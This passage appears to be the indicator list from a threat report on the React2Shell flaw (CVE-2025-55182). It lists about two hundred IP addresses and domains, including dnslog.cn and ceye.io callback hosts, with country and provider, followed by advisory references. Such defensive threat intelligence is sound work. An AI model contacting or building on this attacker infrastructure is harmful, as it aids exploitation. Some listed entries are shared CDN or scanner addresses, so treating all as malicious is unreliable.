United States
MICROSOFT-CORP-MSN-AS-BLOCK
IPv4
302
212.87.195.83
Japan
AKARI-NETWORKS-AS-AP Akari Networks
IPv4
303
216.158.232.43
United States
IS-AS-1
IPv4
304
216.245.184.74
United States
BLNWX
IPv4
305
34.107.99.125
Germany
GOOGLE-CLOUD-PLATFORM
IPv4
306
34.69.237.102
United States
GOOGLE-CLOUD-PLATFORM
IPv4
307
43.206.163.192
Japan
AMAZON-02
IPv4
308
64.95.10.168
United States
BLNWX
IPv4
309
91.212.166.110
Russia
PROTON66
IPv4
310
92.223.88.199
Luxembourg
GCORE
IPv4
311
93.123.109.247
Netherlands
DMZHOST
IPv4
312
206.237.3.150
Hong Kong
VH Global Limited
IPv4
313
45.77.33.136
Singapore
Vultr Holdings, LLC
IPv4
314
143.198.92.82
Singapore
DigitalOcean, LLC
IPv4
315
183.6.80.214
China
CHINANET Guangdong province network
IPv4
316
18.225.36.85
United States
Amazon.com
IPv4
317
38.60.249.7
Germany
Kaopu Cloud HK
IPv4
318
38.147.187.30
Hong Kong
Overland Storage
IPv4
319
72.11.147.191
Canada
ColoCrossing
IPv4
320
85.198.111.211
Russia
Hosting technology
IPv4
321
103.121.91.244
Vietnam
Bach Kim Network solutions Join stock company
IPv4
322
103.172.183.80
Singapore
Nearoute
IPv4
323
111.90.181.10
Cambodia
Angkor Data Communication
IPv4
324
180.190.225.159
Philippines
Globe Telecom
IPv4
325
193.25.217.69
The Netherlands
Gravhosting
IPv4
326
195.66.27.179
The Netherlands
Qwins
IPv4
327
103.120.170.6
Indonesia
My Republic ID
IPv4
328
217.30.138.55
Poland
Netia SA
IPv4
329
93.123.109.173
Bulgaria
Techoff Srv
IPv4
330
144.202.115.234
United States
Vultr
IPv4
331
141.11.240.103
United States
Cox Communications
IPv4
332
107.172.62.104
United States
ColoCrossing
IPv4
333
165.22.10.123
United States
Digital Ocean
IPv4
334
200.10.34.106
United States
Todas Las Redes SA
IPv4
335
72.244.47.36
United States
GTT Communications
IPv4
336
64.226.156.226
The Netherlands
LeaseWeb Netherlands B.V.
IPv4
337
150.241.251.216
United States
Datacamp
IPv4
338
157.230.183.174
United States
Digital Ocean
IPv4
339
146.190.242.161
Canada
Digital Ocean
IPv4
340
15.235.59.82
Canada
OVHcloud
IPv4
341
23.235.188.3
United States
Yancy
IPv4
342
45.157.233.80
Germany
dataforest
IPv4
343
119.8.28.134
Hong Kong
Huawei Cloud
IPv4
344
211.57.200.210
South Korea
KT
IPv4
345
134.195.198.119
Canada
GTHost
IPv4
346
vps-zap812595-1[.]zap-srv[.]com
Germany
ZAP-Hosting GmbH
Domain
347
2f7ac6[.]ceye[.]io
Hong Kong
HUAWEI CLOUDS
Domain
348
5axzi7[.]dnslog[.]cn
Domain
349
105.102.78.253
Algeria
Algerie Telecom
IPv4
350
146.88.129.138
Singapore
N963 Pte.
IPv4
351
116.206.255.12
Bangladesh
One Net Communication
IPv4
352
103.11.218.3
Cambodia
M.A.T Co.
IPv4
353
111.163.122.216
China
China Unicom
IPv4
354
140.250.177.121
China
China Telecom
IPv4
355
156.215.175.191
Egypt
Telecom Egypt
IPv4
356
94.237.29.215
Finland
UpCloud
IPv4
357
51.158.62.94
France
Scaleway
IPv4
358
51.38.96.239
France
OVHcloud
IPv4
359
157.180.62.92
Finland
Hetzner Online GmbH
IPv4
360
161.97.116.199
France
Contabo GmbH
IPv4
361
185.213.83.188
Indonesia
Packethub
IPv4
362
192.166.246.185
Singapore
Packethub
IPv4
363
103.199.106.166
Hong Kong
Netsec
IPv4
364
104.28.215.69
Hong Kong
Cloudflare Warp
IPv4
365
124.217.189.158
Hong Kong
Hutchison HK
IPv4
366
154.219.127.120
Hong Kong
Fastnet Data
IPv4
367
156.245.239.45
Hong Kong
Zillion-network
IPv4
368
46.232.56.146
Japan
Sakura Link
IPv4
369
47.243.110.68
Hong Kong
Alibaba
IPv4
370
64.227.165.120
India
Digital Ocean
IPv4
371
43.229.254.176
Indonesia
PT. Media Antar Nusa
IPv4
372
217.60.37.169
France
CGI GLOBAL LIMITED
IPv4
373
31.56.117.75
Latvia
CGI GLOBAL LIMITED
IPv4
374
46.62.230.188
Finland
Hetzner Online GmbH
IPv4
375
94.156.148.116
Canada
Datacamp
IPv4
376
103.166.229.133
The Netherlands
Connectra B.V.
IPv4
377
82.160.25.227
Poland
TK Telekom sp. z o.o.
IPv4
378
146.70.116.112
Austria
M247 Europe
IPv4
379
146.70.158.254
France
M247 Europe
IPv4
380
203.27.106.138
Singapore
GSL Networks
IPv4
381
45.32.113.200
Singapore
Vultr
IPv4
382
45.77.248.187
Singapore
Vultr
IPv4
383
89.187.163.203
Singapore
Datacamp
IPv4
384
141.164.39.197
South Korea
Vultr
IPv4
385
203.234.238.140
South Korea
KT
IPv4
386
211.211.195.100
South Korea
SK Broadband
IPv4
387
211.211.195.106
South Korea
SK Broadband
IPv4
388
211.211.195.108
South Korea
SK Broadband
IPv4
389
211.211.195.109
South Korea
SK Broadband
IPv4
390
222.239.218.106
South Korea
SK Broadband
IPv4
391
81.172.216.74
The Netherlands
Caiway NL
IPv4
392
125.224.13.164
Taiwan
Chunghwa Telecom
IPv4
393
119.110.207.48
Thailand
Symphony
IPv4
394
91.151.88.170
T체rkiye
HOSTING DUNYAM BILISIM TEKNOLOJILERI TICARET LIMIT
IPv4
395
104.28.205.117
United States
Cloudflare Warp
IPv4
396
129.148.46.228
Brazil
Oracle Cloud
IPv4
397
149.104.104.115
Pakistan
Kaopu Cloud HK
IPv4
398
149.34.253.147
Singapore
Cogent Communications
IPv4
399
149.88.106.176
Singapore
Datacamp
IPv4
400
154.23.172.120
United States
Fastnet Data
IPv4
401
154.38.163.130
United States
Nubes LLC
IPv4
402
157.254.154.232
Hong Kong
Miku Network Technology
IPv4
403
172.238.6.127
Japan
Akamai Connected Cloud
IPv4
404
172.245.180.137
United States
ColoCrossing
IPv4
405
185.220.238.191
Japan
Akari Networks
IPv4
406
192.210.241.12
United States
ColoCrossing
IPv4
407
192.227.249.224
United States
ColoCrossing
IPv4
408
192.227.252.113
United States
ColoCrossing
IPv4
409
192.238.129.36
Hong Kong
Leaseweb Los Angeles
IPv4
410
209.182.233.81
India
Hivelocity
IPv4
411
209.38.208.202
Germany
Digital Ocean
IPv4
412
38.246.245.22
United States
Netlab-sdn
IPv4
413
45.158.169.235
Finland
CGI GLOBAL LIMITED
IPv4
414
47.251.80.117
United States
Alibaba
IPv4
415
47.84.82.8
Singapore
Alibaba
IPv4
416
47.88.48.233
United States
Alibaba
IPv4
417
66.154.127.86
Canada
Multacom Corporation
IPv4
418
101.99.33.9
Vietnam
CMC Telecom Infrastructure Company
IPv4
419
103.145.5.34
Vietnam
Vietnam Posts And Telecommunications Group
IPv4
420
103.161.172.65
Vietnam
Ez Technology Company
IPv4
421
27.74.251.56
Vietnam
Viettel Group
IPv4
422
15.204.246.9
United States
OVHcloud
IPv4
423
155.2.219.198
Brazil
Zenlayer
IPv4
424
171.108.67.168
China
China Telecom
IPv4
425
187.87.249.155
Brazil
Netwave Telecomunicacoes Ltda.
IPv4
426
45.129.59.183
Sweden
31173 Services AB
IPv4
427
194.246.38.53
Romania
maghost
IPv4
428
139.64.164.4
United States
GTHost
IPv4
429
158.51.121.183
Canada
GTHost
IPv4
430
103.151.172.24
Hong Kong
Ikuuu Network
IPv4
431
103.12.77.93
Vietnam
Thien Quang Digital technology joint stock company
IPv4
432
103.81.85.131
Vietnam
Thien Quang Digital technology joint stock company
IPv4
433
41.231.37.153
Tunisia
ATI-ISP
IPv4
434
89.144.31.18
Germany
GHOSTnet
IPv4
435
176.117.107.154
Slovenia
Go Host
IPv4
436
59.7.217.245
South Korea
KT
IPv4
437
116.206.255.9
Bangladesh
One Net Communication
IPv4
438
38.54.95.22
United States
Kaopu Cloud Hk Limited
IPv4
439
62.169.23.180
France
Contabo GmbH
IPv4
440
139.87.113.21
United States
Oracle Public Cloud
IPv4
441
115.42.60.214
Hong Kong
ChangLian Network Technology Co.
IPv4
442
116.67.212.245
Japan
So-net
IPv4
443
116.120.13.107
South Korea
SK Broadband
IPv4
444
34.123.154.135
United States
Google Cloud
IPv4
445
103.59.160.119
Indonesia
PT Gunung Sedayu Sentosa
IPv4
446
32.223.150.236
United States
Frontier Communications
IPv4
447
92.123.106.70
Italy
Akamai Technologies
IPv4
448
148.69.121.177
Portugal
Vodafone Portugal
IPv4
449
64.39.98.77
United States
Oracle Public Cloud
IPv4
450
45.127.35.199
Singapore
Dromatics Systems Pte
IPv4
451
159.26.119.181
Japan
Proton
IPv4
452
64.39.103.120
United States
QUALYS
IPv4
453
210.148.85.130
Japan
Internet Initiative Japan
IPv4
454
46.147.25.76
Russia
ER-Telecom
IPv4
455
39.123.100.114
South Korea
SK Broadband
IPv4
456
110.54.198.117
Philippines
Globe Telecom
IPv4
457
103.11.218.4
Cambodia
M.A.T Co.
IPv4
458
4.210.177.135
The Netherlands
Microsoft Azure
IPv4
459
37.111.145.87
Pakistan
Telenor Pakistan
IPv4
460
23.234.116.248
United States
tzulo
IPv4
461
45.94.210.239
Japan
Packethub
IPv4
462
174.22.233.124
United States
CenturyLink
IPv4
463
121.53.204.130
South Korea
Dreamline Co.
IPv4
464
171.243.48.235
Vietnam
Viettel Group
IPv4
465
185.199.109.133
United States
Fastly
IPv4
466
186.209.118.34
Brazil
Eveo S.A.
IPv4
467
30.200.40.29
United States
US Military
IPv4
468
30.200.81.132
United States
US Military
IPv4
469
45.76.155.14
Singapore
Vultr
IPv4
470
91.215.90.172
Russia
Dagomys Telecom
IPv4
471
183.221.120.95
China
China Mobile
IPv4
472
75.119.132.127
France
Contabo GmbH
IPv4
473
155.117.84.162
Hong Kong
LSHIY-USER-CONTENT
IPv4
474
195.2.84.158
Russia
VDSina.com
IPv4
475
45.144.53.78
Finland
H2nexus
IPv4
476
193.108.170.13
Germany
eVPS
IPv4
477
5.199.174.151
Lithuania
UAB Cherry Servers
IPv4
478
103.167.4.114
Indonesia
PT iForte Global Internet
IPv4
479
103.121.16.47
Indonesia
My Republic ID
IPv4
480
190.215.133.252
Chile
GTD Internet
IPv4
481
108.61.203.151
United States
Vultr
IPv4
482
185.220.101.132
Germany
Stiftung Erneuerbare Freiheit
IPv4
483
103.121.16.49
Indonesia
My Republic ID
IPv4
484
103.121.16.29
Indonesia
My Republic ID
IPv4
485
103.11.218.6
Cambodia
M.A.T Co.
IPv4
486
103.121.16.13
Indonesia
My Republic ID
IPv4
487
23.95.120.228
United States
ColoCrossing
IPv4
488
103.121.16.58
Indonesia
My Republic ID
IPv4
489
83.219.97.131
Finland
Oc Networks
IPv4
490
103.121.16.54
Indonesia
My Republic ID
IPv4
491
103.121.16.55
Indonesia
My Republic ID
IPv4
492
54.151.90.234
United States
Amazon.com
IPv4
493
18.159.132.91
Germany
Amazon.com
IPv4
494
13.208.196.174
Japan
Amazon.com
IPv4
495
18.222.118.169
United States
Amazon.com
IPv4
496
35.183.119.162
Canada
Amazon.com
IPv4
497
18.141.158.67
Singapore
Amazon.com
IPv4
498
110.54.198.128
Philippines
Globe Telecom
IPv4
499
13.208.244.117
Japan
Amazon.com
IPv4
500
13.53.197.195
Sweden
Amazon.com
IPv4
501
49.156.1.107
Cambodia
EZECOM
IPv4
502
103.124.53.73
Bangladesh
Chittagong Data Communication
IPv4
503
121.128.184.69
South Korea
KT
IPv4
504
143.198.212.21
Singapore
Digital Ocean
IPv4
505
146.70.142.66
India
M247 Europe
IPv4
506
31.57.38.244
United Arab Emirates
VIRTUO
IPv4
507
38.54.104.98
United States
Kaopu Cloud HK
IPv4
508
5.189.172.231
France
Contabo GmbH
IPv4
509
89.117.50.230
France
Contabo GmbH
IPv4
510
93.34.213.150
Italy
Fastweb
IPv4

07. 참고자료

Critical Security Vulnerability in React Server Components, React : https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
Responding to CVE-2025-55182: Secure your React and Next.js workloads, Google Cloud : https://cloud.google.com/blog/products/identity-security/responding-to-cve-2025-55182?hl=en
December 5 Advisory: Unauthenticated RCE Flaw in React Server Components [CVE-2025-55182] : https://censys.com/advisory/cve-2025-55182
CVE-2025-55182 (React2Shell): Remote code execution in React Server Components and Next.js : https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/
China-nexus cyber threat groups rapidly exploit React2Shell vulnerability (CVE-2025-55182) : https://aws.amazon.com/ko/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/
CVE-2025-55182 Attack Analysis: React Server Components RCE : https://github.com/ngvcanh/CVE-2025-55182-Attack-Analysis
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